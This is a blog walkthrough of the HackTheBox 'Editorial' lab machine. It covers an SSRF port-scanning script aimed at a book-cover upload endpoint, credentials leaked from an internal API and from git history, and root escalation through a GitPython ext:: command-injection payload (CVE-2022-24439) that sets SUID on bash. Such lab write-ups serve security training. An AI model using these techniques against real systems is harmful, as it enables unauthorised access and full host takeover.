Post

HackTheBox: Editorial

Editorial is an easy machine by HackTheBox where We start by exploiting an SSRF vulnerability in a book cover upload feature, which reveals an internal open port. Using credentials leaked from an API, we gain SSH access to the prod account. We then escalate privileges by exploiting a vulnerability in GitPython to gain root access and ultimately obtain the root.txt file.


Enumeration

Nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/Editorial]
└─$ nmap -sC -sV 10.10.11.20 -T4 -oN editorial.nmap 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 10:51 BST
Nmap scan report for 10.10.11.20
Host is up (0.075s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds

We have identified 2 ports using nmap,

  • 22/SSH - open
  • 80/HTTP - open

Web Server at 80

visiting the web server on port 80, we get redirected to http://editorial.htb, adding that to the /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       Voldemort
10.10.11.20     editorial.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Visiting the web application we get a basic static web page.

web server

Looking at the web page we notice a Publish with us link which redirects to /upload.

web server

Exploitation

SSRF

The server is allowing us to supply URLs to set a book cover which can lead to SSRF.

web server

After trying multiple technics to read internal files none of them worked and led us to a dead end. Checking for internal ports/services was the only thing left for us to try. With no idea about internal services running we created a python script with the help of our good friend ChatGPT which will do the job for us.

The script will send POST requests to /upload-cover increasing the port number one by one http://127.0.0.1:{port} (we have set the port range to 1-6000) for then to catch each response length and determine which is the less common response length, as it may take some time to run we’ve used the threading module.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import requests
import threading
from collections import Counter

# URL and headers
url = "http://editorial.htb/upload-cover"
headers = {
    "Host": "editorial.htb",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "multipart/form-data; boundary=---------------------------77887951118404856724231992278",
    "Origin": "http://editorial.htb",
    "DNT": "1",
    "Connection": "close",
    "Referer": "http://editorial.htb/upload"
}

# Function to create the payload with the specified port
def create_payload(port):
    boundary = "-----------------------------77887951118404856724231992278"
    payload = (
        f"{boundary}\r\n"
        'Content-Disposition: form-data; name="bookurl"\r\n\r\n'
        f"http://127.0.0.1:{port}\r\n"
        f"{boundary}\r\n"
        'Content-Disposition: form-data; name="bookfile"; filename=""\r\n'
        "Content-Type: application/octet-stream\r\n\r\n\r\n"
        f"{boundary}--"
    )
    return payload

# Function to send request and record the response length
def send_request(port, response_data):
    payload = create_payload(port)
    try:
        response = requests.post(url, headers=headers, data=payload)
        length = len(response.content)
        response_data.append((port, length))
        print(f"Port {port} has {length} as response length")
    except Exception as e:
        print(f"Port {port} : Error - {e}")

# List to store (port, response length) tuples
response_data = []

# Create and start threads
threads = []
for port in range(1, 6000):
    thread = threading.Thread(target=send_request, args=(port, response_data))
    threads.append(thread)
    thread.start()

# Wait for all threads to finish
for thread in threads:
    thread.join()

# Calculate the least common response length
response_lengths = [length for _, length in response_data]
counter = Counter(response_lengths)
least_common_length, _ = counter.most_common()[-1] if counter else (None, None)

# Find the ports with the least common response length
least_common_ports = [port for port, length in response_data if length == least_common_length]

# Print the least common response length and the associated ports
print(f"\nLeast common response length: {least_common_length}")
print("Ports with this response length:")
for port in least_common_ports:
    print(f"Port {port} has {least_common_length} as response length")

Running the script we hit a unique response length (51) as 61 is the most common which corresponds to port 5000

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/Editorial]
└─$ python3 upload.py
Port 2 has 61 as response length
...
Port 6000 has 61 as response length
Port 5999 has 61 as response length
Port 5994 has 61 as response length
Port 5992 has 61 as response length
Port 5997 has 61 as response length

Least common response length: 51
Ports with this response length:
Port 5000 has 51 as response length

Knowing that the port 5000 is open internally we tried to retrieve data from that port.

web server

web server

hitting on port 5000 we got various api endpoints with the most interesting one being /api/latest/metadata/messages/authors, GETing the endpoint will result in data leak (user + password).

web server

web server

Initial Access

With the credentials obtained we are now able to connect to dev account using SSH and cat the user.txt file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/Editorial]
└─$ ssh dev@editorial.htb   
The authenticity of host 'editorial.htb (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue Jul 23 11:10:51 AM UTC 2024

  System load:           0.0
  Usage of /:            61.5% of 6.35GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             224
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.20
  IPv6 address for eth0: dead:beef::250:56ff:fe94:9cde


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jul 23 08:08:31 2024 from 10.10.14.140
dev@editorial:~$ ls
apps  linpeas.sh  user.txt

An app directory is also present in dev’s home directory, taking a look at it we find a .git directory which contains some git logs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
dev@editorial:~$ ls -la
total 884
drwxr-x--- 5 dev  dev    4096 Jul 23 12:02 .
drwxr-xr-x 4 root root   4096 Jun  5 14:36 ..
drwxrwxr-x 3 dev  dev    4096 Jun  5 14:36 apps
lrwxrwxrwx 1 root root      9 Feb  6  2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev     220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 dev  dev    3771 Jan  6  2022 .bashrc
drwx------ 2 dev  dev    4096 Jun  5 14:36 .cache
drwx------ 3 dev  dev    4096 Jul 23 11:53 .gnupg
-rw------- 1 dev  dev      20 Jul 23 12:02 .lesshst
-rwxrwxr-x 1 dev  dev  862777 Jul 23 06:13 linpeas.sh
-rw-r--r-- 1 dev  dev     807 Jan  6  2022 .profile
-rw-r----- 1 root dev      33 Jul 23 04:06 user.txt
dev@editorial:~$ cd apps
dev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun  5 14:36 .
drwxr-x--- 5 dev dev 4096 Jul 23 12:02 ..
drwxr-xr-x 8 dev dev 4096 Jun  5 14:36 .git
dev@editorial:~/apps$ cd .git
dev@editorial:~/apps/.git$ ls
branches  COMMIT_EDITMSG  config  description  HEAD  hooks  index  info  logs  objects  refs
dev@editorial:~/apps/.git$ cd logs
dev@editorial:~/apps/.git/logs$ ls
HEAD  refs
dev@editorial:~/apps/.git/logs$ cat HEAD
0000000000000000000000000000000000000000 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682905723 -0500   commit (initial): feat: create editorial app
3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 1e84a036b2f33c59e2390730699a488c65643d28 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682905870 -0500   commit: feat: create api to editorial info
1e84a036b2f33c59e2390730699a488c65643d28 b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906108 -0500   commit: change(api): downgrading prod to dev
b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dfef9f20e57d730b7d71967582035925d57ad883 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906471 -0500   commit: change: remove debug and update api port
dfef9f20e57d730b7d71967582035925d57ad883 8ad0f3187e2bda88bba85074635ea942974587e8 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906661 -0500   commit: fix: bugfix in api port endpoint

Looking through each one of these with git show {commit-id} we come accross an interesting commit 1e84a036b2f33c59e2390730699a488c65643d28.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
dev@editorial:~/apps/.git/logs$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info
    
    * It (will) contains internal info about the editorial, this enable
       faster access to information.

diff --git a/app_api/app.py b/app_api/app.py
new file mode 100644
index 0000000..61b786f
--- /dev/null
+++ b/app_api/app.py
@@ -0,0 +1,74 @@
+# API (in development).
+# * To retrieve info about editorial
+
+import json
+from flask import Flask, jsonify
+
+# -------------------------------
+# App configuration
+# -------------------------------
+app = Flask(__name__)
+
+# -------------------------------
+# Global Variables
+# -------------------------------
+api_route = "/api/latest/metadata"
+api_editorial_name = "Editorial Tiempo Arriba"
+api_editorial_email = "info@tiempoarriba.htb"
+
+# -------------------------------
+# API routes
+# -------------------------------
+# -- : home
+@app.route('/api', methods=['GET'])
+def index():
+    data_editorial = {
+        'version': [{
+            '1': {
+                'editorial': 'Editorial El Tiempo Por Arriba', 
+                'contact_email_1': 'soporte@tiempoarriba.oc',
+                'contact_email_2': 'info@tiempoarriba.oc',
+                'api_route': '/api/v1/metadata/'
+            }},
+            {
+            '1.1': {
+                'editorial': 'Ed Tiempo Arriba', 
+                'contact_email_1': 'soporte@tiempoarriba.oc',
+                'contact_email_2': 'info@tiempoarriba.oc',
+                'api_route': '/api/v1.1/metadata/'
+            }},
+            {
+            '1.2': {
+                'editorial': api_editorial_name, 
+                'contact_email_1': 'soporte@tiempoarriba.oc',
+                'contact_email_2': 'info@tiempoarriba.oc',
+                'api_route': f'/api/v1.2/metadata/'
+            }},
+            {
+            '2': {
+                'editorial': api_editorial_name, 
+                'contact_email': 'info@tiempoarriba.moc.oc',
+                'api_route': f'/api/v2/metadata/'
+            }},
+            {
+            '2.3': {
+                'editorial': api_editorial_name, 
+                'contact_email': api_editorial_email,
+                'api_route': f'{api_route}/'
+            }
+        }]
+    }
+    return jsonify(data_editorial)
+
+# -- : (development) mail message to new authors
+@app.route(api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+    return jsonify({
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board 
    and can't wait to see the incredible content you'll bring to the table.
    \n\nYour login credentials for our internal forum and authors site
     are:\nUsername: prod\nPassword: [REDACTED]\nPlease be sure to change your password 
    as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any  questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+    }) # TODO: replace dev credentials when checks pass
+
+# -------------------------------
+# Start program
:

Finding the prod account’s password we were able to log in to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dev@editorial:~/apps/.git/logs$ su - prod
Password: 
prod@editorial:~$ ls -la
total 40
drwxr-x--- 5 prod prod 4096 Jul 23 08:36 .
drwxr-xr-x 4 root root 4096 Jun  5 14:36 ..
lrwxrwxrwx 1 root root    9 Feb  6  2023 .bash_history -> /dev/null
-rw-r--r-- 1 prod prod  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 prod prod 3771 Jan  6  2022 .bashrc
drwx------ 3 prod prod 4096 Jun  5 14:36 .cache
drwxrwxr-x 5 prod prod 4096 Jul 23 08:25 .local
-rw-r--r-- 1 prod prod  807 Jan  6  2022 .profile
-rw------- 1 prod prod    7 Jul 23 08:23 .python_history
drwx------ 2 prod prod 4096 Jun  5 14:36 .ssh
prod@editorial:~$ 

Privilege Escalation

Looking for any privilages we find that prod account is able to run a python script using sudo.

1
2
3
4
5
6
7
8
prod@editorial:~$ sudo -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

Reading the python script to see what it’s doing, it seems like it clones a Git repository from a given URL into a directory named new_changes in /opt/internal_apps/clone_changes.

1
2
3
4
5
6
7
8
9
10
import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Looking on google for some python git module exploits we came accross an interesting Github Issue mentioning an RCE Vulnerability in gitpython (CVE-2022-24439) leading us to a POC on Snyk website.

We tried to add SUID to /bin/bash as root and it worked!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% u+s% /bin/bash'
[sudo] password for prod: 
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod% u+s% /bin/bash new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash

executing /bin/bash -p results in getting root privilages and we can then retrieve the root.txt file.

1
2
3
4
5
6
7
8
prod@editorial:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash
prod@editorial:~$ /bin/bash -p
bash-5.1# id
uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod)
bash-5.1# ls /root
root.txt
bash-5.1# 

And with that we can say that Editorial is now Pwned ! 💀

This post is licensed under CC BY 4.0 by the author.